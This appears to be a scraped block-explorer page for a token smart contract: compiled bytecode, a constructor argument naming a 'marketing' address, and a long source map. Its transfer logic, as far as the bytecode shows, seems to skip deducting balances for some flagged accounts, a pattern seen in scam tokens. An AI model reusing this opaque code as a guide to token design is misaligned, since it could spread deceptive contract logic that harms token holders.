a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610509338484610693565b5060019392505050565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b6001600160a01b0381166105d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104a9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b600c805460ff19169055565b6001600160a01b03831660009081526008602052604081205481036106e0576001600160a01b038416600090815260096020526040812080548492906106da90849061096c565b90915550505b8160000361071957600a546001600160a01b0384166000908152600760205260408120805490919061071390849061097f565b90915550505b600c546001600160a01b03858116610100909204161480159061075257506001600160a01b038416600090815260086020526040902054155b801561077557506001600160a01b03841660009081526007602052604090205415155b156107ab57600a546001600160a01b038516600090815260086020526040812080549091906107a590849061096c565b90915550505b6001600160a01b038316600090815260096020526040812080548492906107d390849061097f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161081f91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561085e57858101830151858201604001528201610842565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089657600080fd5b919050565b600080604083850312156108ae57600080fd5b6108b78361087f565b946020939093013593505050565b6000806000606084860312156108da57600080fd5b6108e38461087f565b92506108f16020850161087f565b9150604084013590509250925092565b60006020828403121561091357600080fd5b61091c8261087f565b9392505050565b6000806040838503121561093657600080fd5b61093f8361087f565b915061094d6020840161087f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103ce576103ce610956565b808201808211156103ce576103ce61095656fea2646970667358221220de624a2f049f214223884386d74a0e4ae431a33f16c8fbca75c1809bf380acc364736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000e1d1124ec08437648acc5737906bca240890eea9

-----Decoded View---------------
Arg [0] : marketing (address): 0xe1D1124ec08437648acc5737906bca240890Eea9

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000e1d1124ec08437648acc5737906bca240890eea9


Deployed Bytecode Sourcemap

12206:9313:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15441:83;;;;;;;;;;-1:-1:-1;15511:5:0;;;;;;;;;;;;-1:-1:-1;;;15511:5:0;;;;15441:83;;;;;;;:::i;:::-;;;;;;;;15220:213;;;;;;;;;;-1:-1:-1;15220:213:0;;;;;:::i;:::-;;:::i;:::-;;;1192:14:1;;1185:22;1167:41;;1155:2;1140:18;15220:213:0;1027:187:1;13208:41:0;;;;;;;;;;-1:-1:-1;13208:41:0;;;;-1:-1:-1;;;;;13208:41:0;;;;;;-1:-1:-1;;;;;1409:55:1;;;1391:74;;1379:2;1364:18;13208:41:0;1219:252:1;15625:95:0;;;;;;;;;;-1:-1:-1;12896:17:0;15625:95;;;1622:25:1;;;1610:2;1595:18;15625:95:0;1476:177:1;14900:311:0;;;;;;;;;;-1:-1:-1;14900:311:0;;;;;:::i;:::-;;:::i;15728:83::-;;;;;;;;;;-1:-1:-1;15728:83:0;;13347:1;2133:36:1;;2121:2;2106:18;15728:83:0;1991:184:1;13043:28:0;;;;;;;;;;-1:-1:-1;13043:28:0;;;;;;;-1:-1:-1;;;;;13043:28:0;;;12810:44;;;;;;;;;;-1:-1:-1;12810:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;10904:148;;;;;;;;;;;;;:::i;:::-;;13005:31;;;;;;;;;;-1:-1:-1;13005:31:0;;;;;;;;10690:79;;;;;;;;;;-1:-1:-1;10728:7:0;10755:6;-1:-1:-1;;;;;10755:6:0;10690:79;;15532:87;;;;;;;;;;-1:-1:-1;15604:7:0;;;;;;;;;;;;-1:-1:-1;;;15604:7:0;;;;15532:87;;14200:162;;;;;;;;;;-1:-1:-1;14200:162:0;;;;;:::i;:::-;;:::i;12584:64::-;;;;;;;;;;-1:-1:-1;12584:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;11060:244;;;;;;;;;;-1:-1:-1;11060:244:0;;;;;:::i;:::-;;:::i;20001:83::-;;;;;;;;;;;;;:::i;15220:213::-;15321:10;15286:12;15311:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;15311:30:0;;;;;;;;;;:39;;;15366:37;15286:12;;15311:30;;15366:37;;;;15344:6;1622:25:1;;1610:2;1595:18;;1476:177;15366:37:0;;;;;;;;-1:-1:-1;15421:4:0;15220:213;;;;;:::o;14900:311::-;-1:-1:-1;;;;;15037:22:0;;14994:12;15037:22;;;:9;:22;;;;;;;;15060:10;15037:34;;;;;;;;15027:44;;;15019:53;;;;;;-1:-1:-1;;;;;15083:22:0;;;;;;:9;:22;;;;;;;;15106:10;15083:34;;;;;;;:44;;15121:6;;15083:22;:44;;15121:6;;15083:44;:::i;:::-;;;;-1:-1:-1;15138:43:0;;-1:-1:-1;15150:11:0;15163:9;15174:6;15138:11;:43::i;:::-;-1:-1:-1;15199:4:0;;14900:311;-1:-1:-1;;;;14900:311:0:o;10904:148::-;10817:6;;-1:-1:-1;;;;;10817:6:0;8318:10;10817:22;10809:67;;;;-1:-1:-1;;;10809:67:0;;3334:2:1;10809:67:0;;;3316:21:1;;;3353:18;;;3346:30;3412:34;3392:18;;;3385:62;3464:18;;10809:67:0;;;;;;;;;11011:1:::1;10995:6:::0;;10974:40:::1;::::0;-1:-1:-1;;;;;10995:6:0;;::::1;::::0;10974:40:::1;::::0;11011:1;;10974:40:::1;11042:1;11025:19:::0;;-1:-1:-1;;;;;;11025:19:0::1;::::0;;10904:148::o;14200:162::-;14267:12;14292:40;14304:10;14316:7;14325:6;14292:11;:40::i;:::-;-1:-1:-1;14350:4:0;;14200:162;-1:-1:-1;;;14200:162:0:o;11060:244::-;10817:6;;-1:-1:-1;;;;;10817:6:0;8318:10;10817:22;10809:67;;;;-1:-1:-1;;;10809:67:0;;3334:2:1;10809:67:0;;;3316:21:1;;;3353:18;;;3346:30;3412:34;3392:18;;;3385:62;3464:18;;10809:67:0;3132:356:1;10809:67:0;-1:-1:-1;;;;;11149:22:0;::::1;11141:73;;;::::0;-1:-1:-1;;;11141:73:0;;3695:2:1;11141:73:0::1;::::0;::::1;3677:21:1::0;3734:2;3714:18;;;3707:30;3773:34;3753:18;;;3746:62;-1:-1:-1;;;3824:18:1;;;3817:36;3870:19;;11141:73:0::1;3493:402:1::0;11141:73:0::1;11251:6;::::0;;11230:38:::1;::::0;-1:-1:-1;;;;;11230:38:0;;::::1;::::0;11251:6;::::1;::::0;11230:38:::1;::::0;::::1;11279:6;:17:::0;;-1:-1:-1;;;;;;11279:17:0::1;-1:-1:-1::0;;;;;11279:17:0;;;::::1;::::0;;;::::1;::::0;;11060:244::o;20001:83::-;10817:6;;-1:-1:-1;;;;;10817:6:0;8318:10;10817:22;10809:67;;;;-1:-1:-1;;;10809:67:0;;3334:2:1;10809:67:0;;;3316:21:1;;;3353:18;;;3346:30;3412:34;3392:18;;;3385:62;3464:18;;10809:67:0;3132:356:1;10809:67:0;20056:12:::1;:20:::0;;-1:-1:-1;;20056:20:0::1;::::0;;20001:83::o;14370:521::-;-1:-1:-1;;;;;14489:15:0;;14460:12;14489:15;;;:5;:15;;;;;;:20;;14485:82;;-1:-1:-1;;;;;14526:19:0;;;;;;:9;:19;;;;;:29;;14549:6;;14526:19;:29;;14549:6;;14526:29;:::i;:::-;;;;-1:-1:-1;;14485:82:0;14583:6;14593:1;14583:11;14579:44;;14616:7;;-1:-1:-1;;;;;14596:16:0;;;;;;:6;:16;;;;;:27;;:16;;;:27;;14616:7;;14596:27;:::i;:::-;;;;-1:-1:-1;;14579:44:0;14652:13;;-1:-1:-1;;;;;14640:25:0;;;14652:13;;;;;14640:25;;;;:49;;-1:-1:-1;;;;;;14669:15:0;;;;;;:5;:15;;;;;;:20;14640:49;:73;;;;-1:-1:-1;;;;;;14693:16:0;;14712:1;14693:16;;;:6;:16;;;;;;:20;;14640:73;14636:132;;;14749:7;;-1:-1:-1;;;;;14730:15:0;;;;;;:5;:15;;;;;:26;;:15;;;:26;;14749:7;;14730:26;:::i;:::-;;;;-1:-1:-1;;14636:132:0;-1:-1:-1;;;;;14780:19:0;;;;;;:9;:19;;;;;:29;;14803:6;;14780:19;:29;;14803:6;;14780:29;:::i;:::-;;;;;;;;14844:8;-1:-1:-1;;;;;14825:36:0;14834:8;-1:-1:-1;;;;;14825:36:0;;14854:6;14825:36;;;;1622:25:1;;1610:2;1595:18;;1476:177;14825:36:0;;;;;;;;-1:-1:-1;14879:4:0;14370:521;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:1;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:1:o;1658:328::-;1735:6;1743;1751;1804:2;1792:9;1783:7;1779:23;1775:32;1772:52;;;1820:1;1817;1810:12;1772:52;1843:29;1862:9;1843:29;:::i;:::-;1833:39;;1891:38;1925:2;1914:9;1910:18;1891:38;:::i;:::-;1881:48;;1976:2;1965:9;1961:18;1948:32;1938:42;;1658:328;;;;;:::o;2411:186::-;2470:6;2523:2;2511:9;2502:7;2498:23;2494:32;2491:52;;;2539:1;2536;2529:12;2491:52;2562:29;2581:9;2562:29;:::i;:::-;2552:39;2411:186;-1:-1:-1;;;2411:186:1:o;2602:260::-;2670:6;2678;2731:2;2719:9;2710:7;2706:23;2702:32;2699:52;;;2747:1;2744;2737:12;2699:52;2770:29;2789:9;2770:29;:::i;:::-;2760:39;;2818:38;2852:2;2841:9;2837:18;2818:38;:::i;:::-;2808:48;;2602:260;;;;;:::o;2867:127::-;2928:10;2923:3;2919:20;2916:1;2909:31;2959:4;2956:1;2949:15;2983:4;2980:1;2973:15;2999:128;3066:9;;;3087:11;;;3084:37;;;3101:18;;:::i;3900:125::-;3965:9;;;3986:10;;;3983:36;;;3999:18;;:::i

Swarm Source

ipfs://de624a2f049f214223884386d74a0e4ae431a33f16c8fbca75c1809bf380acc3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.